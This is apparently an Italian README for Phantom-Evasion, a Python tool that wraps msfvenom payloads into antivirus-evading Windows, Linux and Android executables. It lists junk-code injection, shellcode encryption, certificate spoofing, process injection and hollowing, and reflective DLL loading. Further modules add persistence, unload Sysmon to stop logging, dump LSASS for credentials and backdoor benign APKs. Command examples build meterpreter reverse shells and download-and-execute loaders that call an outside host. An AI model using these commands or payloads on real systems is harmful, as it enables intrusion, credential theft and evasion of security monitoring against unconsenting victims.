
Strumento di evasione antivirus basato su Python che genera eseguibili non rilevabili a partire da payload di msfvenom con tecniche avanzate come iniezione di junkcode, crittografia, spoofing di certificati e molteplici metodi di esecuzione.
Phantom-Evasion è uno strumento di evasione antivirus scritto in Python (compatibile sia con Python 2 che Python 3) in grado di generare eseguibili (quasi) totalmente non rilevabili anche con i payload più comuni di msfvenom x86.
I seguenti sistemi operativi supportano ufficialmente l'installazione automatica:
I seguenti sistemi operativi probabilmente supportano l'installazione automatica ma richiedono l'installazione manuale di metasploit-framework:
I seguenti sistemi operativi richiedono configurazione manuale:
Basta clonare con git o scaricare e decomprimere la cartella Phantom-Evasion.
Installazione automatica, apri un terminale ed esegui:
python3 phantom-evasion.py --setup
oppure:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
oppure avvia phantom-evasion in modalità interattiva e seleziona l'opzione 7.
python3 phantom-evasion.py
oppure:
./phantom-evasion.py
python3 phantom-evasion.py --help
oppure:
./phantom-evasion.py --help
-Ogni modulo payload Windows in C può essere compilato (supporta sia x86 che x64) come EXE o DLL/ReflectiveDLL.
-Iniezione di codice junk randomizzato (puoi impostare intensità, frequenza e probabilità di reiniezione) e tecniche di evasione antivirus per Windows (frequenza impostabile).
-Cifratura shellcode/file Multibyte Xor/Vigenere supportata sia nei moduli di iniezione shellcode che di Download Exec.
-Tecnica di unhookapi Ntdll e mascheramento del processo Peb supportate.
-Ampia gamma di modalità di esecuzione supportate (sia locali che remote).
-Ampia gamma di modalità di allocazione memoria payload (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
-Caricamento dinamico delle API Windows impostabile.
-Spoofer e firmatario di certificati supportati.
-Eseguibile strip (https://en.wikipedia.org/wiki/Strip_(Unix))
Supporto per payload Windows di msfvenom e shellcode personalizzati. Lo shellcode può essere memorizzato come risorsa e recuperato a runtime con l'API FindResource.
Cifratura Shellcode supportata:
1.none
2.Multibyte-Xor
3.Double-key Multibyte-Xor
4.Vigenere
5.Double-key Vigenere
Il metodo di esecuzione locale può essere uno dei seguenti:
Thread
APC
La modalità di allocazione memoria locale può essere una delle seguenti:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Il metodo di esecuzione remota può essere uno dei seguenti:
ThreadExecutionHijack (abbreviato TEH)
Processinject (abbreviato PI)
APCSpray (abbreviato APCS)
EarlyBird (abbreviato EB)
EntryPointHijack (abbreviato EPH)
La modalità di allocazione memoria remota può essere una delle seguenti:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Moduli stager meterpreter in C puro (TCP/HTTP/HTTPS) compatibili con msfconsole e cobalt strike beacon. (reverse_tcp/reverse_http/reverse_https)
Usando la modalità da riga di comando:
reverse_tcp c stager è WRT
reverse_http c stager è WRH
reverse_https c stager è WRS
Il metodo di esecuzione locale può essere uno dei seguenti:
Thread
APC
La modalità di allocazione memoria locale può essere una delle seguenti:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Scarica exe/dll dall'URL fornito in memoria ed esegui/carica in un processo remoto (senza scrivere su disco).
Download di EXE/DLL cifrati supportato:
1.none
2.Multibyte-Xor
3.Double-key Multibyte-Xor
4.Vigenere
5.Double-key Vigenere
La DLL/EXE cifrata verrà salvata come nomefileoriginale + "crypt" + ".dll" o ".exe" — questo è il file da scaricare
Windows DownloadExecExe NoDiskWrite (WDE in modalità da riga di comando):
Il metodo di esecuzione remota può essere uno dei seguenti:
ProcessHollowing (abbreviato PH)
Windows DownloadExecDll NoDiskWrite (WDD in modalità da riga di comando):
Il metodo di caricamento remoto può essere uno dei seguenti:
ReflectiveDll (abbreviato RD)
RDAPC (ReflectiveDllAPC)
ManualMap (abbreviato MM) ---> solo x86
Supporto per payload Linux di msfvenom e shellcode personalizzati.
Backdoor Obfuscata Msfvenom Android:
Oscura i payload msfvenom e ricostruisci (smali/baksmali) con apktool. Il payload offuscato può essere usato per infettare file apk benigni.
Persistenza Windows RegCreateKeyExW Aggiungi Chiave di Registro (C) L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito specificando il percorso completo del file da aggiungere all'avvio come argomento.
Persistenza Windows Aggiungi Chiave di Registro con REG (CMD) Questo modulo genera payload da riga di comando per la persistenza (Aggiungi chiave di registro tramite REG.exe).
Persistenza Windows Mantieni Processo in Vita (C) L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito. Usa CreateToolSnapshoot, ProcessFirst e ProcessNext per verificare se il processo specificato è vivo ogni X secondi (se non lo è, crea un nuovo processo usando l'API WinExec).
Persistenza Windows Schtasks (CMD)
Questo modulo genera payload da riga di comando per la persistenza (tramite Schtasks.exe).
Persistenza Windows Crea Servizio (CMD)
Questo modulo genera payload da riga di comando per la persistenza (tramite sc.exe).
Windows DuplicateTokenEx (C)
Crea un nuovo processo con un token clonato da un altro processo. L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito.
Windows Scarica Sysmon (C) Scarica il driver sysmon, causando l'arresto della registrazione dei log degli eventi sysmon da parte del sistema. L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito.
Windows Scarica Sysmon (CMD) Scarica il driver sysmon, causando l'arresto della registrazione dei log degli eventi sysmon da parte del sistema.
Windows Nascondi file con attrib (CMD) Usa attrib per nascondere il file
Windows SetFileAttribute nascosto (C) Nascondi file usando l'API SetFileAttribute L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito.
Windows DumpLsass (C) Dump di Lsass usando l'API MiniWriteDumpWrite. L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito.
Windows DumpLsass (CMD)
Dump di Lsass da riga di comando.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf